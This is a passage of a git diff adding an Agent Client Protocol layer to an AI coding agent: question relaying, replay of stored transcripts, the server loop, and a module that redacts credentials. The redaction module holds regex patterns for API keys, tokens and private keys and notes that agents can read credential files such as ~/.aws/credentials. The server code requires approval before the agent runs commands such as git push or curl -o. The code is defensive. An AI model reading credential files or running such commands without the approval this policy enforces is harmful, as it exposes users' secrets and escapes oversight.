it +in their next prompt -- and the tool falls back to its default. Said out loud in +the compatibility matrix, because a silently defaulted question reads as an agent +that did not listen. +""" + +from __future__ import annotations + +import asyncio +import contextlib +from typing import Any +from uuid import uuid4 + +from loguru import logger + +from raven.acp import protocol, redact +from raven.acp.capabilities import ClientCapabilities +from raven.acp.outbound import DEFAULT_REQUEST_TIMEOUT_S, OutboundRequests +from raven.acp.updates import UpdateTranslator + +# The field name the elicitation form asks for and the answer is read back from. +# One field, because ``ask_user`` asks one thing. +ANSWER_FIELD = "answer" + +# The notification the runtime emits when ``ask_user`` fires. +CLARIFY_METHOD = "clarify.request" + + +class AcpQuestions: + """Serve ``clarify.request`` by asking the client, and answer the broker. + + The broker is the runtime's ``QuestionBroker``; ``reply`` on it is what + unblocks the waiting tool call. Answering it is not optional -- the broker + will eventually fall back to the default, but ten minutes late, and the tool + call is what a person is watching. + """ + + def __init__( + self, + *, + outbound: OutboundRequests, + translator: UpdateTranslator, + emit: Any, + broker: Any = None, + timeout_s: float = DEFAULT_REQUEST_TIMEOUT_S, + ) -> None: + self._outbound = outbound + self._translator = translator + # Optional at construction because this object has to exist before the + # RPC stack does: the stack's ``send_frame`` *is* the sink this hangs off, + # so the hook must be in place before the first frame can arrive on it -- + # and the broker only exists once the stack is built. Until then a + # question is declined rather than dropped into a half-built object. + self._broker = broker + self._emit = emit + self._timeout_s = timeout_s + self.client = ClientCapabilities() + # Kept so the connection can wait for them at shutdown rather than + # cancelling a round trip that is about to answer. + self._tasks: set[asyncio.Task[None]] = set() + self.routes: dict[str, int] = {} + + def set_broker(self, broker: Any) -> None: + """Bind the runtime's ask-user broker, once the stack that owns it exists.""" + self._broker = broker + + def set_client(self, client: ClientCapabilities) -> None: + """Record what the client declared, at the handshake. + + Late-bound because the questions object is built with the connection and + the capabilities arrive with ``initialize`` -- and re-initialising is + allowed, so this can happen more than once. + """ + self.client = client + + def handle(self, method: str, params: Any) -> bool: + """Take a ``clarify.request``, reporting whether it was taken. + + The method check lives here rather than at the hook, so the one place that + knows what this serves is the place that decides. The hook is offered + *every* non-event notification -- ``approval.request``, ``mcp.status`` and + the rest -- and a handler that read their params without checking would + eventually misfire on one that happened to carry the same keys. + + Returns rather than awaits, and the round trip runs on its own task. The + caller is ``send_frame`` -- the same sink the emitter streams a turn + through -- and blocking it for the minutes a person takes to answer would + stall every other frame on the connection behind this one. + """ + if method != CLARIFY_METHOD or self._broker is None or not isinstance(params, dict): + return False + request_id = params.get("request_id") + conversation_id = params.get("conversation_id") + question = params.get("question") + if not isinstance(request_id, str) or not request_id or not isinstance(question, str) or not question: + return False + session_id = self._session_for(conversation_id if isinstance(conversation_id, str) else "") + if session_id is None: + # A question from a turn no ACP session owns -- a cron turn sharing + # this process. Not ours to answer, and the broker's own default + # applies. + return False + choices = [c for c in (params.get("choices") or ()) if isinstance(c, str) and c] + task = asyncio.create_task(self._ask(request_id, session_id, question, choices)) + self._tasks.add(task) + task.add_done_callback(self._tasks.discard) + return True + + async def drain(self) -> None: + """Wait for in-flight questions, then give up on what is left. + + Called at shutdown. The wait is short because the client is already gone + by then; what it buys is that a round trip which has *just* been answered + gets to deliver that answer to the broker instead of being cancelled one + step short. + """ + pending = [task for task in tuple(self._tasks) if not task.done()] + if not pending: + return + _, still = await asyncio.wait(pending, timeout=1.0) + for task in still: + task.cancel() + if still: + await asyncio.gather(*still, return_exceptions=True) + + # -- the two routes --------------------------------------------------- + + async def _ask(self, request_id: str, session_id: str, question: str, choices: list[str]) -> None: + """Ask, then answer the broker exactly once. + + Every path answers it, including every failure path. The broker treats an + unanswered question as "wait longer", so a route that gave up silently + would be indistinguishable from a person who has not decided yet. + """ + answer: str | None = None + try: + if self.client.elicitation_form: + answer = await self._via_elicitation(session_id, question, choices) + self._count("elicitation") + elif choices: + answer = await self._via_permission(session_id, question, choices) + self._count("permission") + else: + # Nothing can carry typed text. Show the question rather than + # swallow it, and let the default stand. + self._say(session_id, question) + self._count("shown-only") + except asyncio.CancelledError: + self._count("cancelled") + # Answered anyway, and with the fallback: the tool call is still + # blocked, and a cancelled question is not a reason to leave it that + # way for the rest of the broker's timeout. + with contextlib.suppress(Exception): + self._broker.reply(request_id, "") + raise + except Exception: + logger.exception("acp: asking the client failed") + self._count("error") + if not self._broker.reply(request_id, answer or ""): + # Already resolved: the broker timed out, or the turn was cancelled + # and it fail-safed. Not an error, and worth a line only because a + # steady stream of these means the deadline here is too long. + logger.debug("acp: the question was already resolved when the answer arrived") + + async def _via_elicitation(self, session_id: str, question: str, choices: list[str]) -> str | None: + """The route that fits: a message plus a one-field schema. + + The field is an enum when the question has choices and a plain string + otherwise, which is the whole reason this route is preferred -- it is the + only one that can carry an answer nobody listed in advance. + """ + field: dict[str, Any] = {"type": "string", "description": "Your answer"} + if choices: + field["enum"] = choices + result = await self._outbound.call( + "elicitation/create", + { + "message": redact.redact(question), + "mode": "form", + "sessionId": session_id, + "requestedSchema": { + "type": "object", + "properties": {ANSWER_FIELD: field}, + "required": [ANSWER_FIELD], + }, + }, + timeout=self._timeout_s, + ) + return self._read_elicitation(result, choices) + + def _read_elicitation(self, result: Any, choices: list[str]) -> str | None: + """Read the form's answer, believing only a value of a usable type. + + ``decline`` and ``cancel`` both mean no answer, and they are not errors: + a person is allowed to dismiss a question. ``None`` then flows out as the + tool's default. + + A value outside the enum is refused rather than passed through. The + content is typed loosely by the schema (a string, a number, a bool, a + list), and a client that answered a multiple-choice question with + something not on the list is a client whose answer cannot be acted on. + """ + if not isinstance(result, dict) or result.get("action") != "accept": + return None + content = result.get("content") + if not isinstance(content, dict): + return None + value = content.get(ANSWER_FIELD) + if isinstance(value, bool) or value is None: + return None + if isinstance(value, (int, float)): + value = str(value) + if isinstance(value, list): + value = ", ".join(str(item) for item in value) + if not isinstance(value, str) or not value: + return None + if choices and value not in choices: + logger.warning("acp: the elicitation answer was not one of the offered choices") + return None + return value + + async def _via_permission(self, session_id: str, question: str, choices: list[str]) -> str | None: + """The route that does not fit, made honest. + + ``toolCall`` is required, so the question arrives wearing one. It is + marked in ``_meta`` as synthesised: a client that renders permission + prompts differently from questions can tell them apart, and one that does + not still shows the question and its choices. + + Option ids are minted here and the answer is matched against them, for + the same reason a real permission is: an id from an earlier request, or + one the client invented, must not select an answer nobody chose. + """ + offered = {f"choice-{index}-{uuid4().hex}": choice for index, choice in enumerate(choices[:MAX_CHOICES])} + result = await self._outbound.call( + "session/request_permission", + { + "sessionId": session_id, + "toolCall": { + "toolCallId": f"ask-{uuid4().hex}", + "title": redact.redact(question), + # ``other``, not ``think``: the kinds describe what a tool + # does, and this one is not a tool doing anything. A client + # choosing an icon from it should get the neutral one. + "kind": "other", + "status": "pending", + }, + "options": [ + # ``allow_once`` for every choice. The kinds describe + # authorisation and there is none here; using ``reject_once`` + # for some would tell a client one of the answers is a + # refusal, which is not something this layer can know. + {"optionId": option_id, "name": choice, "kind": "allow_once"} + for option_id, choice in offered.items() + ], + "_meta": {"raven.synthesisedToolCall": True, "raven.kind": "question"}, + }, + timeout=self._timeout_s, + ) + if not isinstance(result, dict): + return None + outcome = result.get("outcome") + if not isinstance(outcome, dict) or outcome.get("outcome") != "selected": + return None + return offered.get(outcome.get("optionId")) + + # -- plumbing --------------------------------------------------------- + + def _session_for(self, conversation_id: str) -> str | None: + from raven.spine import session_of + + if not conversation_id: + return None + session = self._translator.get(session_of(conversation_id)) + return None if session is None else session.session_id + + def _say(self, session_id: str, text: str) -> None: + self._emit( + protocol.notification( + "session/update", + { + "sessionId": session_id, + "update": { + "sessionUpdate": "agent_message_chunk", + "content": {"type": "text", "text": redact.redact(text)}, + }, + }, + ) + ) + + def _count(self, route: str) -> None: + self.routes[route] = self.routes.get(route, 0) + 1 + + +# A permission prompt is a list of buttons. Past a handful it stops being a +# choice and becomes a menu nobody reads, and ``ask_user`` is capped upstream +# anyway -- this is the backstop for a caller that is not. +MAX_CHOICES = 8 + + +__all__ = ["ANSWER_FIELD", "CLARIFY_METHOD", "MAX_CHOICES", "AcpQuestions"] diff --git a/raven/acp/redact.py b/raven/acp/redact.py new file mode 100644 index 00000000..c5a9c01b --- /dev/null +++ b/raven/acp/redact.py @@ -0,0 +1,146 @@ +"""Strip credentials out of anything on its way to the client. + +An ACP payload is a publishing surface: a tool title, a permission prompt and an +error message are all rendered in an editor, and some of them are persisted in +its transcript. Four channels carry secrets into that surface today, all of them +measured rather than imagined: + +* a tool's arguments go on the wire verbatim, and for ``exec`` that is the whole + command line -- ``curl -H "Authorization: Bearer sk-..."`` included; +* ``read_file`` has no fence by default (``restrict_to_workspace`` is false), so + its result preview can be ``~/.aws/credentials``; +* every internal dispatcher error returns a ``traceback_tail``, whose last + twelve lines carry absolute paths and sometimes argument values; +* an ``mcpServers`` entry carries an ``env`` dict. + +What this is not: a general secret scanner. Only the capture group is replaced, +so the shape of the text survives and a person can still tell *what* was run -- +``curl -H "Authorization: Bearer [redacted]"`` is a readable line, and a wholesale +match replacement would leave a row nobody can act on. The pattern list is the +same size as the one openclaw uses for the same job (about sixteen), and +deliberately not the 409-line RFC-7235 header scanner sitting next to it. + +Redaction is defence in depth, not the mechanism. A tool whose output must never +leave the process should not be put on the wire in the first place. +""" + +from __future__ import annotations + +import re +from typing import Any + +REPLACEMENT = "[redacted]" + +# Each pattern captures exactly the secret, never the label. Ordered +# roughly by how specific they are, though order does not change the result: +# every pattern is applied, and a string already redacted no longer matches. +_PATTERNS: tuple[tuple[str, re.Pattern[str]], ...] = ( + # Authorization / proxy headers, in either the -H "..." or the raw form. + ( + "http-auth", + re.compile( + r"((?:Authorization|Proxy-Authorization)\s*:\s*(?:Bearer|Basic|Token)\s+)([\w\-.~+/=]{8,})", re.IGNORECASE + ), + ), + # An assignment to anything whose name says secret. Quoted or bare. + ( + "named-secret", + re.compile( + r"((?:api[_-]?key|secret|token|password|passwd|pwd|credential|private[_-]?key|access[_-]?key|auth)" + r"[\"']?\s*[:=]\s*[\"']?)([^\s\"',;&|)]{6,})", + re.IGNORECASE, + ), + ), + # Command-line flags that take a credential. + ("cli-flag", re.compile(r"(--(?:token|password|api-key|secret|with-token)[= ])([^\s\"']{6,})", re.IGNORECASE)), + # A URL with an inline password: scheme://user:secret@host. + ("url-userinfo", re.compile(r"(://[^\s/:@]+:)([^\s/@]{3,})(?=@)")), + # Vendor-shaped keys, recognisable without a label because their prefix is + # the label. The one class worth matching bare: a leaked key is a leaked key + # whether or not somebody wrote "api_key" next to it. + ("openai", re.compile(r"()(sk-(?:proj-|ant-|or-)?[A-Za-z0-9_-]{16,})")), + ("github", re.compile(r"()(gh[pousr]_[A-Za-z0-9]{16,})")), + ("gitlab", re.compile(r"()(glpat-[A-Za-z0-9_-]{16,})")), + ("slack", re.compile(r"()(xox[abposr]-[A-Za-z0-9-]{10,})")), + ("google", re.compile(r"()(AIza[0-9A-Za-z_-]{30,})")), + ("aws-access-key", re.compile(r"()((?:A3T[A-Z0-9]|AKIA|ASIA|ABIA|ACCA)[A-Z0-9]{16})")), + ("anthropic-legacy", re.compile(r"()(sk_live_[A-Za-z0-9]{16,})")), + ("jwt", re.compile(r"()(eyJ[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,})")), + # PEM blocks: the body, not the armour, so the reader still sees what it was. + ("pem", re.compile(r"(-----BEGIN [A-Z ]*PRIVATE KEY-----)([\s\S]+?)(?=-----END)")), + # A heredoc or echo piping a credential into a file. + ("env-export", re.compile(r"((?:export|set)\s+[A-Z0-9_]*(?:KEY|TOKEN|SECRET|PASSWORD)[A-Z0-9_]*=)(\S+)")), + # Deliberately NOT here: a pattern for credential *paths* + # (``~/.aws/credentials``, ``~/.ssh/id_rsa``). It was written and removed -- + # the path is not a secret, and hiding it takes away the one thing the reader + # most needs, which is that the agent read their credential file. What must + # not escape is the file's *contents*, and those arrive through a result + # preview where the named-secret and vendor patterns above catch them. +) + +# Redacting a very large string costs real time on a streaming path, and the +# strings that reach here are titles, previews and messages -- not file bodies. +# Past the cap the text is truncated rather than scanned, because a half-scanned +# string is worse than an honestly shortened one. +MAX_SCAN_CHARS = 256 * 1024 + + +def redact(text: str) -> str: + """Return ``text`` with every recognised credential replaced. + + Idempotent: the replacement token matches none of the patterns, so a string + that has already been through here is unchanged by a second pass. That + matters because the same text can be redacted at more than one layer. + """ + if not text: + return text + if len(text) > MAX_SCAN_CHARS: + text = text[:MAX_SCAN_CHARS] + "\n[truncated before scanning for credentials]" + for _, pattern in _PATTERNS: + text = pattern.sub(lambda m: m.group(1) + REPLACEMENT, text) + return text + + +# A mapping key that names its value a secret. The structure carries the label +# here, which a per-string pass cannot see: in ``{"AWS_SECRET_ACCESS_KEY": "wJal..."}`` +# the value on its own is indistinguishable from a hash. This is the ``mcpServers`` +# ``env`` dict channel, which is one of the reasons this module exists. +_SECRET_KEY = re.compile( + r"(?:api[_-]?key|secret|token|password|passwd|pwd|credential|private[_-]?key|access[_-]?key|auth)", re.IGNORECASE +) + + +def redact_value(value: Any, *, depth: int = 0) -> Any: + """Redact every string inside a JSON-shaped value, structure intact. + + For ``rawInput`` / ``rawOutput`` / error ``data``, where the client wants the + shape and the shape is not the problem. Bounded depth because the value comes + from a tool and may be deeply nested or self-referential; past the bound the + subtree is dropped rather than half-scanned. + + A mapping key that names a secret redacts its whole value, however deep. That + is the one thing :func:`redact` structurally cannot do: it sees one string at + a time, and the label lives in a different string. + """ + if depth > 12: + return "[too deeply nested to scan for credentials]" + if isinstance(value, str): + return redact(value) + if isinstance(value, dict): + return { + key: REPLACEMENT + if isinstance(key, str) and _SECRET_KEY.search(key) and not isinstance(value[key], (dict, list, tuple)) + else redact_value(item, depth=depth + 1) + for key, item in value.items() + } + if isinstance(value, (list, tuple)): + return [redact_value(item, depth=depth + 1) for item in value] + return value + + +def pattern_names() -> tuple[str, ...]: + """The names of the patterns, for a test that pins the table's size.""" + return tuple(name for name, _ in _PATTERNS) + + +__all__ = ["MAX_SCAN_CHARS", "REPLACEMENT", "pattern_names", "redact", "redact_value"] diff --git a/raven/acp/replay.py b/raven/acp/replay.py new file mode 100644 index 00000000..c9effc7b --- /dev/null +++ b/raven/acp/replay.py @@ -0,0 +1,229 @@ +"""Turn a stored transcript back into the stream that produced it. + +``session/load`` is not a getter. The client sends it and the agent answers by +*replaying* the conversation as ``session/update`` notifications -- the same +notifications a live turn produces -- and only then returns. So a resumed session +draws itself through the code path a fresh one draws itself through, and a client +needs no second renderer. + +What makes this worth its own module is that the stored shape and the live shape +are different vocabularies. A transcript is a list of provider messages with +extras hung off them (``reasoning_content``, ``tool_calls``, ``diff``); the wire +is a sequence of typed chunks. The mapping is order-sensitive in one place that +matters: a tool call is announced on the assistant entry that made it and +answered by a later ``role="tool"`` entry, so the ``tool_call`` and its +``tool_call_update`` come from two different messages and must stay in that order. + +Pure and synchronous on purpose. Everything here is list-in, list-out, so each +case is one unit test whose frames are checked against the official schema -- +which is also what makes a replay bug cheap to find, since the alternative is +reading it off a client's screen. + +**What is lost, stated rather than papered over.** ``_map_to_wire`` flattens a +multimodal user message to the text of its text blocks, so an image a person +attached three turns ago replays as the words around it. Recovering it means +reading ``raw.messages`` instead, where the blocks are still intact -- and then +re-reading files that may no longer exist. Not attempted here. +""" + +from __future__ import annotations + +from typing import Any + +from raven.acp import redact +from raven.acp.tool_kinds import locations, title_for, tool_kind + +# A replayed transcript is bounded by what a client can draw, not by what is +# stored: a session with two thousand messages would otherwise emit two thousand +# notifications before the load returns, and the request would look hung. +# Newest-last, so the truncation drops the oldest -- which is what a scrollback +# would have dropped too. +MAX_REPLAYED_MESSAGES = 500 + +# One message's text, capped. A replayed transcript is for reading; a tool result +# that was already truncated to a preview when it was live does not need its full +# stored form now. +MAX_REPLAYED_TEXT = 16 * 1024 + + +def replay(messages: Any, *, session_id: str, cwd: str | None = None) -> list[dict[str, Any]]: + """Every ``SessionUpdate`` for a stored transcript, oldest first. + + Returns the updates rather than sending them, so the caller owns the framing + and the ordering against its own response. + """ + if not isinstance(messages, list): + return [] + entries = [m for m in messages if isinstance(m, dict) and m.get("role")] + dropped = max(0, len(entries) - MAX_REPLAYED_MESSAGES) + if dropped: + entries = entries[-MAX_REPLAYED_MESSAGES:] + updates: list[dict[str, Any]] = [] + if dropped: + # Said out loud in the transcript itself. A client that silently starts + # mid-conversation shows a person a history that appears to begin in the + # middle of a thought. + updates.append( + _chunk( + "agent_message_chunk", + f"[{dropped} earlier message(s) are not shown; the session continues below]", + ) + ) + # Tool calls announced but never answered: kept so a call whose result was + # lost still renders as a row rather than vanishing. + for entry in entries: + updates.extend(_replay_entry(entry, cwd=cwd)) + return updates + + +def _replay_entry(entry: dict[str, Any], *, cwd: str | None) -> list[dict[str, Any]]: + role = entry.get("role") + if role == "user": + return _user(entry) + if role == "assistant": + return _assistant(entry, cwd=cwd) + if role == "tool": + return _tool_result(entry) + # ``system`` and anything a future writer adds. A system prompt is not part + # of the conversation a person had, and replaying it would put the agent's + # instructions on their screen. + return [] + + +def _user(entry: dict[str, Any]) -> list[dict[str, Any]]: + text = _text_of(entry) + if not text: + return [] + return [_chunk("user_message_chunk", text)] + + +def _assistant(entry: dict[str, Any], *, cwd: str | None) -> list[dict[str, Any]]: + """The thought, then the words, then the calls -- the order they happened in. + + A notice recorded on the entry replaces the answer rather than accompanying + it (that is what ``action_blocked`` means), so it is rendered as the message + when there is no text of its own. + """ + out: list[dict[str, Any]] = [] + reasoning = entry.get("reasoning_content") + if isinstance(reasoning, str) and reasoning.strip(): + out.append(_chunk("agent_thought_chunk", _clip(reasoning))) + text = _text_of(entry) + if text: + out.append(_chunk("agent_message_chunk", text)) + notice = entry.get("notice") + if isinstance(notice, str) and notice.strip() and not text: + out.append(_chunk("agent_message_chunk", _clip(notice))) + for call in entry.get("tool_calls") or (): + announced = _tool_call(call, cwd=cwd) + if announced is not None: + out.append(announced) + return out + + +def _tool_call(call: Any, *, cwd: str | None) -> dict[str, Any] | None: + """A stored call as the ``tool_call`` that announced it. + + ``status: "pending"`` here and nowhere else in this codebase: on a live call + the status is ``in_progress`` because the work is running, but on a replay the + work is over and its own ``tool_call_update`` follows with the outcome. A row + left at ``in_progress`` would show a spinner for a call that finished last + week; ``completed`` would claim an outcome before the entry that carries it. + """ + if not isinstance(call, dict): + return None + call_id = call.get("id") + name = call.get("name") + if not isinstance(call_id, str) or not call_id: + return None + arguments = _arguments_of(call) + update: dict[str, Any] = { + "sessionUpdate": "tool_call", + "toolCallId": call_id, + "title": redact.redact(title_for(name if isinstance(name, str) else None, arguments, None)), + "kind": tool_kind(name if isinstance(name, str) else None), + "status": "pending", + } + found = locations(arguments, cwd) + if found: + update["locations"] = found + return update + + +def _tool_result(entry: dict[str, Any]) -> list[dict[str, Any]]: + """A stored ``role="tool"`` entry as the update that answered its call. + + Without a ``tool_call_id`` there is nothing to attach it to, and an update + with an invented id would create a second row for a call that already has + one. Such an entry is dropped rather than rendered loose. + """ + call_id = entry.get("tool_call_id") + if not isinstance(call_id, str) or not call_id: + return [] + update: dict[str, Any] = { + "sessionUpdate": "tool_call_update", + "toolCallId": call_id, + "status": "completed", + } + content: list[dict[str, Any]] = [] + text = _text_of(entry) + if text: + content.append({"type": "content", "content": {"type": "text", "text": text}}) + # The unified diff, not a structured one: the stored record is the rendering, + # and the file's contents at the time are gone. Sent as text so the change is + # visible at all, which beats a `diff` block whose newText would have to be + # invented. + diff = entry.get("diff") + if isinstance(diff, str) and diff.strip(): + content.append({"type": "content", "content": {"type": "text", "text": _clip(diff)}}) + if content: + update["content"] = content + return [update] + + +def _chunk(kind: str, text: str) -> dict[str, Any]: + return {"sessionUpdate": kind, "content": {"type": "text", "text": text}} + + +def _text_of(entry: dict[str, Any]) -> str: + """The entry's text, redacted and clipped, or empty. + + Redacted on the way out for the same reason a live frame is: a replayed + transcript is rendered in an editor and kept in its history, and a command + line recorded three turns ago carries whatever was on it. + """ + text = entry.get("text") + if not isinstance(text, str) or not text.strip(): + return "" + return redact.redact(_clip(text)) + + +def _clip(text: str) -> str: + if len(text) <= MAX_REPLAYED_TEXT: + return text + return text[:MAX_REPLAYED_TEXT] + "\n[truncated]" + + +def _arguments_of(call: dict[str, Any]) -> dict[str, Any] | None: + """A stored call's arguments as a mapping, whatever shape they were kept in. + + They are stored as the JSON *string* the provider sent, so a title or a + location needs them parsed. A string that will not parse yields ``None``, + which the title falls back on gracefully -- guessing at half-parsed arguments + would put a fragment of JSON on a tool row. + """ + raw = call.get("arguments") + if isinstance(raw, dict): + return raw + if isinstance(raw, str) and raw.strip(): + import json + + try: + parsed = json.loads(raw) + except (ValueError, TypeError): + return None + return parsed if isinstance(parsed, dict) else None + return None + + +__all__ = ["MAX_REPLAYED_MESSAGES", "MAX_REPLAYED_TEXT", "replay"] diff --git a/raven/acp/server.py b/raven/acp/server.py new file mode 100644 index 00000000..366c084c --- /dev/null +++ b/raven/acp/server.py @@ -0,0 +1,269 @@ +"""The ACP agent's run loop: one connection, its engine, and its teardown. + +The shape is deliberately flat. An editor spawns one process, speaks to it over +one pipe pair, and kills it when the window closes -- so there is no accept loop, +no connection registry, and no multi-tenant bookkeeping. What there is instead: + +* **one engine per process.** ``build_rpc_stack`` builds the agent loop, the + brokers, the subscription emitter and the turn spine, and the ACP layer is a + translator sitting on its outbound face. The alternative -- mounting onto a + resident gateway -- was the earlier preference and does not survive the process + topology: an ACP agent *is* a stdio child of the editor, so there is nothing to + mount onto unless a gateway happens to be running, and an agent that works only + when another service is up is not an agent an editor can launch. +* **every inbound frame in its own task.** ``session/prompt`` is suspended for as + long as the turn takes, and ``session/cancel`` has to be read *during* it. + Handling frames inline would make cancellation unreachable, which is the one + thing the protocol requires to always work. +* **a shutdown that answers instead of cancelling.** On EOF the pending prompts + are settled as ``cancelled`` -- which is what the spec says a torn-down turn + resolves as -- and only then are the handler tasks awaited. They therefore + return through their own code, releasing their turn slots and writing their + answers, rather than being cancelled mid-flight. It also means a finite input + (``echo '...' | raven acp``, a scripted client, a smoke test) gets its replies: + cancelling on EOF would answer a batch of three requests with nothing at all. + Cancellation stays as the backstop for a handler that is stuck somewhere else. +""" + +from __future__ import annotations + +import asyncio +import sys +from typing import Any, BinaryIO + +from loguru import logger + +from raven.acp.methods import AcpMethods +from raven.acp.outbound import OutboundRequests +from raven.acp.permissions import AcpPermissionBroker +from raven.acp.questions import AcpQuestions +from raven.acp.stdio import read_frames, write_frame +from raven.acp.updates import UpdateTranslator + +SHUTDOWN_GRACE_S = 5.0 +"""How long a handler gets to finish after the client closed stdin. + +Bounded because the alternative is a process that will not exit: a handler stuck +on something other than a prompt future has nothing to resolve it. Five seconds +is the same budget ``DirectExecutor`` gives a killed process to be reaped -- long +enough for a return path, short enough that an editor closing a window does not +leave a process behind. +""" + +ACP_CHANNEL = "acp" +"""The delivery channel ACP turns run on. + +Its own channel rather than reusing ``"tui"``: session keys are prefixed with it, +and the session listing filters by that prefix, so sharing the name would put an +editor's sessions in the terminal's picker and vice versa. It has to be given to +``build_rpc_stack``, which passes it to *both* the spine outlet and the turn +methods -- see the note there on why one without the other delivers nothing. +""" + + +async def serve(reader: asyncio.StreamReader, out: BinaryIO, *, channel: str = ACP_CHANNEL) -> None: + """Serve ACP on one reader/writer pair until the client closes stdin. + + Returns when the reader reaches EOF, which is how an editor says the window + is gone. Everything built here is torn down on the way out, including the + engine's own children (the browser profile, MCP subprocesses, the sub-agent + pool), because a process that exits while holding those leaves the next + launch to fight for a profile lock. + """ + + def emit(frame: dict[str, Any]) -> None: + write_frame(out, frame) + + outbound = OutboundRequests(emit=emit) + # Built before the stack, because the stack's ``send_frame`` *is* the + # translator's sink: the hook has to be in place before the first frame can + # arrive on it. Its broker is bound afterwards, which is why it takes one + # late -- see ``AcpQuestions``. + translator = UpdateTranslator(emit=emit, side_channel=lambda method, params: questions.handle(method, params)) + questions = AcpQuestions(outbound=outbound, translator=translator, emit=emit) + permissions = AcpPermissionBroker(outbound=outbound, translator=translator) + # Declared BEFORE the engine is built, because a policy reads the surface's + # families at construction: set afterwards, the tools that already exist keep + # the families they were born with and the declaration reaches nothing. + _ask_before_external_effects() + stack = await build_stack(translator, channel=channel, approval_responder=permissions) + questions.set_broker(stack.question_broker) + methods = AcpMethods( + dispatcher=stack.dispatcher, + translator=translator, + emit=emit, + agent_loop=stack.agent_loop, + outbound=outbound, + questions=questions, + channel=channel, + ) + logger.info("acp: engine ready on channel {} ({} methods)", channel, len(stack.dispatcher.methods())) + + tasks: set[asyncio.Task[None]] = set() + try: + async for frame in read_frames(reader, emit): + task = asyncio.create_task(_answer(methods, frame, emit)) + tasks.add(task) + task.add_done_callback(tasks.discard) + logger.info("acp: client closed stdin") + finally: + # A question that has just been answered gets to deliver that answer to + # the broker; then the outbound futures are failed, which is what lets a + # handler suspended on a permission prompt reach its own cleanup. + try: + await questions.drain() + except Exception: + logger.exception("acp: draining questions failed") + outbound.close() + await _drain(translator, tasks) + # Before the engine teardown, which does not touch the emitter: each + # subscription owns a task, and one left running is reported at exit on + # the stream the client shows. + try: + await methods.unsubscribe_all() + except Exception: + logger.exception("acp: closing subscriptions failed") + try: + await stack.teardown() + except Exception: + # Teardown is best-effort by construction (every step inside it is + # already individually guarded); this catches a failure in the + # teardown *callable* itself, which would otherwise replace a clean + # exit with a traceback the client cannot see anyway. + logger.exception("acp: teardown failed") + + +async def build_stack( + translator: UpdateTranslator, + *, + channel: str = ACP_CHANNEL, + approval_responder: Any = None, +) -> Any: + """Assemble the RPC stack with the translator as its outbound sink. + + A named seam rather than an inline call, so a test can drive :func:`serve` + against a stack it built itself instead of standing up an agent loop, a cron + service and a memory backend to exchange two frames. + """ + from raven.rpc.bootstrap import build_rpc_stack + + return await build_rpc_stack(translator.send_frame, channel=channel, approval_responder=approval_responder) + + +def _ask_before_external_effects() -> None: + """Declare the command families this surface must ask about. + + The built-in policy asks about exactly one family, deletion -- which fits a + terminal the reader is already watching and does not fit an agent behind an + editor, where ``git push``, ``npm install`` and ``curl -o`` would otherwise + run with nothing on screen. This is the single most visible difference + between an agent somebody trusts and one they do not. + + Per process rather than per tool, and that is the fix for what used to be a + hole here. Registering on the main loop's ``ExecTool`` reached the main loop + only: a sub-agent builds its own tool with its own policy, so a delegated + ``git push`` ran unannounced while the identical command asked in the main + agent. The process IS the surface in this deployment -- one editor, one stdio + child -- so the declaration belongs at that scope and every tool built here, + delegated or not, inherits it. + + What a delegated command gets is a REFUSAL, not a prompt: a sub-agent's tool + has no approval responder, and a tool that cannot ask fails closed. That is + the deliberate half of this decision. Asking on a sub-agent's behalf means + routing a lane's conversation id into a task that outlives its turn, which is + its own change; until then, refusing with a reason beats acting in silence. + """ + from raven.agent.tools.shell_policy import EXTERNAL_EFFECT_MATCHERS, set_surface_approval_families + + set_surface_approval_families(EXTERNAL_EFFECT_MATCHERS) + logger.info("acp: {} command families will ask before running", len(EXTERNAL_EFFECT_MATCHERS)) + + +async def _answer(methods: AcpMethods, frame: dict[str, Any], emit: Any) -> None: + """Route one frame and write its answer, if it has one. + + The write is here rather than in the caller because the caller has already + moved on to the next frame by the time this finishes -- that being the point + of the task. + + Logged here rather than left to the gather at shutdown. A task's exception is + retrieved by that gather and then discarded, so a write that failed + mid-session -- a full pipe, a client that went away -- would leave no trace + anywhere. ``CancelledError`` is excluded because shutdown cancellation is not + a fault, and re-raised because swallowing it would report the task as having + completed normally. + """ + try: + response = await methods.handle(frame) + if response is not None: + emit(response) + except asyncio.CancelledError: + raise + except Exception: + logger.exception("acp: answering {} failed", frame.get("method")) + raise + + +async def _drain(translator: UpdateTranslator, tasks: set[asyncio.Task[None]]) -> None: + """Let every in-flight handler finish, then cancel whatever is left. + + ``translator.close()`` is what makes the wait finite without cancelling: a + suspended ``session/prompt`` is waiting on a future that only the event stream + resolves, and the stream has nothing more to say once the client is gone. It + answers everything already waiting *and* latches, so a handler that had not + started yet gets its answer when it opens its turn rather than waiting out the + grace period. + + Nothing is cancelled unless that period runs out, and the wait is awaited to + completion either way -- returning while a handler is still executing would + have the engine torn down underneath it. + """ + translator.close() + pending = [task for task in tuple(tasks) if not task.done()] + if not pending: + return + _, still_running = await asyncio.wait(pending, timeout=SHUTDOWN_GRACE_S) + if still_running: + logger.warning("acp: {} handler(s) did not finish in {}s; cancelling", len(still_running), SHUTDOWN_GRACE_S) + for task in still_running: + task.cancel() + await asyncio.gather(*still_running, return_exceptions=True) + + +def install_crash_handlers() -> None: + """Route unhandled exceptions into the log file. + + Two paths, both of which are otherwise invisible in this deployment. A + top-level exception's traceback goes to stderr, which an ACP client shows -- + but not to the log file, which is where the rest of the story is. An asyncio + task's exception goes nowhere at all until the task is garbage collected, and + then only as "Task exception was never retrieved" with no context. + + stderr is deliberately left as a destination as well: the client surfaces it, + and a crash that is only in a log file is a crash nobody is told about. + """ + previous = sys.excepthook + + def hook(exc_type: type[BaseException], exc: BaseException, tb: Any) -> None: + logger.opt(exception=(exc_type, exc, tb)).error("acp: unhandled exception") + previous(exc_type, exc, tb) + + sys.excepthook = hook + + def on_loop_error(loop: asyncio.AbstractEventLoop, context: dict[str, Any]) -> None: + message = context.get("message") or "asyncio error" + exception = context.get("exception") + if exception is not None: + logger.opt(exception=exception).error("acp: {}", message) + else: + logger.error("acp: {} ({})", message, {k: v for k, v in context.items() if k != "message"}) + + try: + asyncio.get_running_loop().set_exception_handler(on_loop_error) + except RuntimeError: + # Called before the loop exists. The excepthook half is still installed, + # which is the half that covers a failure during startup. + logger.debug("acp: no running loop yet; asyncio handler not installed") + + +__all__ = ["ACP_CHANNEL", "SHUTDOWN_GRACE_S", "build_stack", "install_crash_handlers", "serve"] diff --git a/raven/acp/stdio.py 